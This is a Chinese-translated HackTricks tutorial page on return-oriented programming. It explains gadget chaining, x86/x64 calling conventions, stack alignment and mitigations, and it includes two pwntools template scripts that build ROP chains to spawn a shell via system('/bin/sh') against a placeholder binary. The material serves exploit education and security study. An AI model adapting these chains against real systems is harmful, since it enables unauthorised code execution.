hacktricks/binary-exploitation/rop-return-oriented-programing
2024-04-09 00:23:48 +00:00
..
ret2lib Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/ 2024-04-07 22:57:42 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:33:04 +00:00
ret2csu.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:33:04 +00:00
ret2dlresolve.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:33:04 +00:00
ret2esp-ret2reg.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:33:04 +00:00
ret2vdso.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:33:04 +00:00
rop-syscall-execv.md Translated ['README.md', 'binary-exploitation/common-binary-protections- 2024-04-09 00:23:48 +00:00
srop-sigreturn-oriented-programming.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:33:04 +00:00

ROP - Return Oriented Programing

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

基本信息

返回导向编程ROP是一种高级利用技术,用于规避诸如不可执行NX数据执行防护DEP之类的安全措施。攻击者不是注入和执行shellcode而是利用二进制文件或加载的库中已经存在的代码片段称为“gadgets”。每个gadget通常以ret指令结尾并执行小操作例如在寄存器之间移动数据或执行算术操作。通过链接这些gadgets攻击者可以构造有效绕过NX/DEP保护的有效负载来执行任意操作。

ROP的工作原理

  1. 控制流劫持:首先,攻击者需要劫持程序的控制流,通常是通过利用缓冲区溢出来覆盖栈上保存的返回地址。
  2. Gadget链接然后攻击者仔细选择和链接gadgets以执行所需的操作。这可能涉及为函数调用设置参数调用函数例如system("/bin/sh")),以及处理任何必要的清理或附加操作。
  3. 有效负载执行当易受攻击的函数返回时它不是返回到合法位置而是开始执行gadgets链。

工具

通常可以使用ROPgadgetropper或直接使用pwntoolsROP来查找gadgets。

x86示例中的ROP链

x8632位调用约定

  • cdecl:调用者清理堆栈。函数参数以相反顺序(从右到左)推送到堆栈上。参数从右到左依次推送到堆栈上
  • stdcall类似于cdecl但被调用方负责清理堆栈。

查找Gadgets

首先让我们假设我们已经在二进制文件或其加载的库中识别出必要的gadgets。我们感兴趣的gadgets包括

  • pop eax; ret此gadget将堆栈顶部的值弹出到EAX寄存器中,然后返回,从而允许我们控制EAX
  • pop ebx; ret:类似于上述,但用于EBX寄存器,使得可以控制EBX
  • mov [ebx], eax; ret:将EAX中的值移动到由EBX指向的内存位置,然后返回。这通常被称为write-what-where gadget
  • 此外,我们有system()函数的地址可用。

ROP链

使用pwntools我们为ROP链执行准备堆栈如下所示旨在执行system('/bin/sh'),请注意链从以下开始:

  1. 用于对齐目的的ret指令(可选)
  2. system函数的地址假设ASLR已禁用且已知libc更多信息请参阅Ret2lib
  3. 来自system()的返回地址的占位符
  4. "/bin/sh"字符串地址system函数的参数
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

x64中的ROP链示例

x6464位调用约定

  • 在类Unix系统上使用 System V AMD64 ABI 调用约定,其中 前六个整数或指针参数通过寄存器 RDI, RSI, RDX, RCX, R8, 和 R9 传递。额外的参数通过堆栈传递。返回值放在 RAX 中。
  • Windows x64 调用约定使用 RCX, RDX, R8, 和 R9 作为前四个整数或指针参数,额外的参数通过堆栈传递。返回值放在 RAX 中。
  • 寄存器64位寄存器包括 RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, 和 R8R15

查找Gadgets

为了我们的目的,让我们专注于能够设置 RDI 寄存器(将 "/bin/sh" 字符串作为参数传递给 system())并调用 system() 函数的gadgets。我们假设已经识别出以下gadgets

  • pop rdi; ret:将堆栈顶部的值弹出到 RDI 中,然后返回。用于为 system() 设置参数至关重要。
  • ret:一个简单的返回,对于某些情况下的堆栈对齐很有用。

我们知道 system() 函数的地址。

ROP链

以下是一个使用 pwntools 的示例设置并执行一个ROP链旨在在 x64 上执行 system('/bin/sh')

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

在这个例子中:

  • 我们利用 pop rdi; ret 工具来将 RDI 设置为 "/bin/sh" 的地址。
  • 在设置完 RDI 后,我们直接跳转到 system(),链中包含 system() 的地址。
  • 如果目标环境需要,可以使用 ret_gadget 进行对齐,这在 x64 中更常见,以确保在调用函数之前正确对齐堆栈。

堆栈对齐

x86-64 ABI 确保在执行 call 指令堆栈是 16 字节对齐的。LIBC 为了优化性能,使用 SSE 指令(如 movaps)需要这种对齐。如果堆栈没有正确对齐(意味着 RSP 不是 16 的倍数),在 ROP 链 中调用诸如 system 的函数将失败。要解决这个问题,在调用 system 之前在你的 ROP 链中添加一个 ret gadget

x86 与 x64 的主要区别

{% hint style="success" %} 由于 x64 使用寄存器传递前几个参数,对于简单的函数调用,通常需要的 gadget 较少,但由于寄存器数量增加和地址空间更大,找到并链接正确的 gadget 可能更复杂。x64 架构中寄存器数量的增加和地址空间的扩大为利用开发提供了机遇和挑战特别是在返回导向编程ROP的背景下。 {% endhint %}

防止 ROP 攻击

  • ASLR PIE:这些保护措施使得使用 ROP 更加困难,因为 gadget 的地址在执行过程中会发生变化。
  • 堆栈 Canary:在发生缓冲区溢出时,需要绕过存储的堆栈 Canary以覆盖返回指针以滥用 ROP 链。
  • Gadget 不足:如果没有足够的 gadget将无法生成 ROP 链。

基于 ROP 的技术

请注意ROP 只是一种执行任意代码的技术。基于 ROP开发了许多 Ret2XXX 技术:

  • Ret2lib:使用 ROP 从加载的库中调用带有任意参数的任意函数(通常类似于 system('/bin/sh'))。

{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}

  • Ret2Syscall:使用 ROP 准备调用系统调用,例如 execve,并使其执行任意命令。

{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}

  • EBP2Ret 和 EBP 链接:第一个将滥用 EBP 而不是 EIP 来控制流程,第二个类似于 Ret2lib但在这种情况下流程主要由 EBP 地址控制(尽管也需要控制 EIP

{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}

其他示例和参考资料